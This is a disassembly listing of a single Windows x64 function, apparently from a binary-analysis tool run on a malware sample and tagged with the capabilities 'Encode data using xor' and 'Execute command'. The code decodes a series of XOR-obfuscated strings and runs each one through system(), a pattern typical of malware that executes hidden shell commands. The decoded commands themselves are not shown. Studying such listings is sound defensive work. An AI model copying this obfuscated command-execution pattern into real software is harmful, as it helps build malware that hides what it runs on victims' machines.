Function at 0x1400349c8
Capabilities:
Encode data using xor
Execute command

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r14
lea rbp, [rsp - 0x47]
sub rsp, 0xb0
movups xmm0, xmmword [0x1402b1560]
mov eax, dword [0x1402b1578]
xor ebx, ebx
cmp byte [0x1402b157d], bl
mov esi, 0x8d3dcb09
movups xmmword [rbp - 0x49], xmm0
mov r14b, reloc.WS2_32.dll_gethostname
mov dword [rbp - 0x31], eax
movsd xmm0, qword [0x1402b1570]
mov edi, 1
movzx eax, word [0x1402b157c]
movsd qword [rbp - 0x39], xmm0
mov word [rbp - 0x2d], ax
je 0x140034a51
mov r8d, ebx
lea r9, [rbp - 0x49]
mov eax, esi
mul r8d
shr edx, 5
movsx eax, dl
imul ecx, eax, 0x3a
mov al, r8b
add r8d, edi
sub al, cl
add al, r14b
xor byte [r9], al
add r9, rdi
cmp r8d, 0x1e
jl 0x140034a2c
lea rcx, [rbp - 0x49]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1402b1d40]
mov eax, dword [0x1402b1d58]
lea r9, [rbp - 0x49]
mov dword [rbp - 0x31], eax
mov r8d, ebx
mov al, byte [0x1402b1d5c]
movups xmmword [rbp - 0x49], xmm0
mov byte [rbp - 0x2d], al
movsd xmm0, qword [0x1402b1d50]
movsd qword [rbp - 0x39], xmm0
mov eax, esi
mul r8d
shr edx, 5
movsx eax, dl
imul ecx, eax, 0x3a
mov al, r8b
add r8d, edi
sub al, cl
add al, r14b
xor byte [r9], al
add r9, rdi
cmp r8d, 0x1d
jl 0x140034a8c
lea rcx, [rbp - 0x49]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov eax, dword [0x1402b15f0]
lea r9, [rbp - 0x49]
movups xmm0, xmmword [0x1402b15d0]
mov dword [rbp - 0x29], eax
mov r8d, ebx
movups xmm1, xmmword [0x1402b15e0]
mov al, byte [0x1402b15f4]
movups xmmword [rbp - 0x49], xmm0
mov byte [rbp - 0x25], al
movups xmmword [rbp - 0x39], xmm1
mov eax, esi
mul r8d
shr edx, 5
movsx eax, dl
imul ecx, eax, 0x3a
mov al, r8b
add r8d, edi
sub al, cl
add al, r14b
xor byte [r9], al
add r9, rdi
cmp r8d, 0x25
jl 0x140034aea
lea rcx, [rbp - 0x49]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov eax, dword [0x1402b1878]
lea r9, [rbp - 0x49]
movups xmm0, xmmword [0x1402b1858]
mov dword [rbp - 0x29], eax
mov r8d, ebx
movups xmm1, xmmword [0x1402b1868]
mov al, byte [0x1402b187c]
movups xmmword [rbp - 0x49], xmm0
mov byte [rbp - 0x25], al
movups xmmword [rbp - 0x39], xmm1
mov eax, esi
mul r8d
shr edx, 5
movsx eax, dl
imul ecx, eax, 0x3a
mov al, r8b
add r8d, edi
sub al, cl
add al, r14b
xor byte [r9], al
add r9, rdi
cmp r8d, 0x25
jl 0x140034b48
lea rcx, [rbp - 0x49]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1402b1648]
mov eax, dword [0x1402b1668]
mov r8d, ebx
movups xmm1, xmmword [0x1402b1658]
mov dword [rbp - 0x29], eax
lea r9, [rbp - 0x49]
movups xmmword [rbp - 0x49], xmm0
movups xmmword [rbp - 0x39], xmm1
mov eax, esi
mul r8d
shr edx, 5
movsx eax, dl
imul ecx, eax, 0x3a
mov al, r8b
add r8d, edi
sub al, cl
add al, r14b
xor byte [r9], al
add r9, rdi
cmp r8d, 0x24
jl 0x140034b9d
lea rcx, [rbp - 0x49]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
cmp byte [0x1402b15cd], bl
movups xmm0, xmmword [0x1402b15b0]
mov eax, dword [0x1402b15c8]
mov dword [rbp - 0x31], eax
movzx eax, word [0x1402b15cc]
movups xmmword [rbp - 0x49], xmm0
mov word [rbp - 0x2d], ax
movsd xmm0, qword [0x1402b15c0]
movsd qword [rbp - 0x39], xmm0
je 0x140034c2c
mov r8d, ebx
lea r9, [rbp - 0x49]
mov eax, esi
mul r8d
shr edx, 5
movsx eax, dl
imul ecx, eax, 0x3a
mov al, r8b
add r8d, edi
sub al, cl
add al, r14b
xor byte [r9], al
add r9, rdi
cmp r8d, 0x1e
jl 0x140034c07
lea rcx, [rbp - 0x49]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
cmp byte [0x1402b1be3], bl
movups xmm0, xmmword [str.PJXSSXVam1____ju_8_obotbTXHK]
mov eax, dword [0x1402b1be0]
mov dword [rbp - 0x31], eax
movups xmmword [rbp - 0x49], xmm0
movsd xmm0, qword [0x1402b1bd8]
movsd qword [rbp - 0x39], xmm0
je 0x140034c8b
mov r8d, ebx
lea r9, [rbp - 0x49]
mov eax, esi
mul r8d
shr edx, 5
movsx eax, dl
imul ecx, eax, 0x3a
mov al, r8b
add r8d, edi
sub al, cl
add al, r14b
xor byte [r9], al
add r9, rdi
cmp r8d, 0x1c
jl 0x140034c66
lea rcx, [rbp - 0x49]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [str.PJXSSXVam__05__9kr_pclueU]
mov eax, dword [0x1402b15a0]
lea r9, [rbp - 0x49]
mov dword [rbp - 0x31], eax
mov r8d, ebx
mov al, byte [0x1402b15a4]
movups xmmword [rbp - 0x49], xmm0
mov byte [rbp - 0x2d], al
movsd xmm0, qword [0x1402b1598]
movsd qword [rbp - 0x39], xmm0
mov eax, esi
mul r8d
shr edx, 5
movsx eax, dl
imul ecx, eax, 0x3a
mov al, r8b
add r8d, edi
sub al, cl
add al, r14b
xor byte [r9], al
add r9, rdi
cmp r8d, 0x1d
jl 0x140034cc6
lea rcx, [rbp - 0x49]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov eax, dword [0x1402b1850]
lea r9, [rbp - 0x49]
movups xmm0, xmmword [0x1402b1840]
mov dword [rbp - 0x39], eax
mov r8d, ebx
mov al, byte [0x1402b1854]
movups xmmword [rbp - 0x49], xmm0
mov byte [rbp - 0x35], al
mov eax, esi
mul r8d
shr edx, 5
movsx eax, dl
imul ecx, eax, 0x3a
mov al, r8b
add r8d, edi
sub al, cl
add al, r14b
xor byte [r9], al
add r9, rdi
cmp r8d, 0x15
jl 0x140034d19
lea rcx, [rbp - 0x49]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
cmp byte [0x1402b1ccd], bl
mov eax, dword [0x1402b1cc8]
movups xmm0, xmmword [str.WXOOI_K_l]
mov dword [rbp - 0x39], eax
movzx eax, word [0x1402b1ccc]
movups xmmword [rbp - 0x49], xmm0
mov word [rbp - 0x35], ax
je 0x140034d9b
mov r8d, ebx
lea r9, [rbp - 0x49]
mov eax, esi
mul r8d
shr edx, 5
movsx eax, dl
imul ecx, eax, 0x3a
mov al, r8b
add r8d, edi
sub al, cl
add al, r14b
xor byte [r9], al
add r9, rdi
cmp r8d, 0x16
jl 0x140034d76
lea rcx, [rbp - 0x49]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movaps xmm0, xmmword [0x1402b1c30]
lea r9, [rbp - 0x19]
movaps xmm1, xmmword [0x1402b1c40]
mov r8d, ebx
mov al, byte [reloc.WLDAP32.dll_Ordinal_79]
movaps xmmword [rbp - 0x19], xmm0
movaps xmm0, xmmword [0x1402b1c50]
movaps xmmword [rbp + 7], xmm0
movaps xmm0, xmmword [0x1402b1c70]
movaps xmmword [rbp - 9], xmm1
movaps xmm1, xmmword [0x1402b1c60]
movaps xmmword [rbp + 0x27], xmm0
movaps xmmword [rbp + 0x17], xmm1
mov byte [rbp + 0x37], al
mov eax, esi
mul r8d
shr edx, 5
movsx eax, dl
imul ecx, eax, 0x3a
mov al, r8b
add r8d, edi
sub al, cl
add al, r14b
xor byte [r9], al
add r9, rdi
cmp r8d, 0x51
jl 0x140034dec
lea rcx, [rbp - 0x19]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movaps xmm0, xmmword [str.NWR_]
lea r9, [rbp - 0x19]
movaps xmm1, xmmword [str.______153_0_w_1__9.7]
mov r8d, ebx
movaps xmmword [rbp - 0x19], xmm0
movaps xmm0, xmmword [0x1402b1d80]
movaps xmmword [rbp + 7], xmm0
movaps xmm0, xmmword [0x1402b1da0]
movaps xmmword [rbp - 9], xmm1
movaps xmm1, xmmword [0x1402b1d90]
movaps xmmword [rbp + 0x27], xmm0
movaps xmmword [rbp + 0x17], xmm1
mov eax, esi
mul r8d
shr edx, 5
movsx eax, dl
imul ecx, eax, 0x3a
mov al, r8b
add r8d, edi
sub al, cl
add al, r14b
xor byte [r9], al
add r9, rdi
cmp r8d, 0x50
jl 0x140034e59
lea rcx, [rbp - 0x19]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1402b1c88]
movzx eax, word [0x1402b1ca8]
mov r8d, ebx
movups xmm1, xmmword [0x1402b1c98]
mov word [rbp - 0x29], ax
lea r9, [rbp - 0x49]
movups xmmword [rbp - 0x49], xmm0
movups xmmword [rbp - 0x39], xmm1
mov eax, esi
mul r8d
shr edx, 5
movsx eax, dl
imul ecx, eax, 0x3a
mov al, r8b
add r8d, edi
sub al, cl
add al, r14b
xor byte [r9], al
add r9, rdi
cmp r8d, 0x22
jl 0x140034eb0
lea rcx, [rbp - 0x49]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [str.W_OOU]
mov eax, dword [0x1402b21a8]
lea r9, [rbp - 0x49]
mov dword [rbp - 0x31], eax
mov r8d, ebx
movzx eax, word [0x1402b21ac]
movups xmmword [rbp - 0x49], xmm0
mov word [rbp - 0x2d], ax
movsd xmm0, qword [0x1402b21a0]
mov al, byte [0x1402b21ae]
movsd qword [rbp - 0x39], xmm0
mov byte [rbp - 0x2b], al
mov eax, esi
mul r8d
shr edx, 5
movsx eax, dl
imul ecx, eax, 0x3a
mov al, r8b
add r8d, edi
sub al, cl
add al, r14b
xor byte [r9], al
add r9, rdi
cmp r8d, 0x1f
jl 0x140034f1b
lea rcx, [rbp - 0x49]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
cmp byte [0x1402b1be3], bl
movups xmm0, xmmword [str.PJXSSXVam1____ju_8_obotbTXHK]
mov eax, dword [0x1402b1be0]
mov dword [rbp - 0x31], eax
movups xmmword [rbp - 0x49], xmm0
movsd xmm0, qword [0x1402b1bd8]
movsd qword [rbp - 0x39], xmm0
je 0x140034f9f
mov r8d, ebx
lea r9, [rbp - 0x49]
mov eax, esi
mul r8d
shr edx, 5
movsx eax, dl
imul ecx, eax, 0x3a
mov al, r8b
add r8d, edi
sub al, cl
add al, r14b
xor byte [r9], al
add r9, rdi
cmp r8d, 0x1c
jl 0x140034f7a
lea rcx, [rbp - 0x49]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
cmp byte [0x1402b1e11], bl
movups xmm0, xmmword [str.PJXSSXVam1_0hw___mqv_R]
movzx eax, word [0x1402b1e10]
mov word [rbp - 0x31], ax
movups xmmword [rbp - 0x49], xmm0
movsd xmm0, qword [0x1402b1e08]
movsd qword [rbp - 0x39], xmm0
je 0x140035000
mov r8d, ebx
lea r9, [rbp - 0x49]
mov eax, esi
mul r8d
shr edx, 5
movsx eax, dl
imul ecx, eax, 0x3a
mov al, r8b
add r8d, edi
sub al, cl
add al, r14b
xor byte [r9], al
add r9, rdi
cmp r8d, 0x1a
jl 0x140034fdb
lea rcx, [rbp - 0x49]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [str.PJXSSXVam__05__9kr_pclueU]
mov eax, dword [0x1402b15a0]
lea r9, [rbp - 0x49]
mov dword [rbp - 0x31], eax
mov r8d, ebx
mov al, byte [0x1402b15a4]
movups xmmword [rbp - 0x49], xmm0
mov byte [rbp - 0x2d], al
movsd xmm0, qword [0x1402b1598]
movsd qword [rbp - 0x39], xmm0
mov eax, esi
mul r8d
shr edx, 5
movsx eax, dl
imul ecx, eax, 0x3a
mov al, r8b
add r8d, edi
sub al, cl
add al, r14b
xor byte [r9], al
add r9, rdi
cmp r8d, 0x1d
jl 0x14003503b
lea rcx, [rbp - 0x49]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov eax, dword [0x1402b1be4]
lea r8, [rbp + 0x67]
mov dword [rbp + 0x67], eax
movzx eax, word [0x1402b1be8]
mov word [rbp + 0x6b], ax
mov al, byte [0x1402b1bea]
mov byte [rbp + 0x6d], al
mov eax, esi
mul ebx
shr edx, 5
movsx eax, dl
imul ecx, eax, 0x3a
mov al, bl
add ebx, edi
sub al, cl
add al, r14b
xor byte [r8], al
add r8, rdi
cmp ebx, 7
jl 0x14003508b
lea rcx, [rbp + 0x67]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea r11, [rsp + 0xb0]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret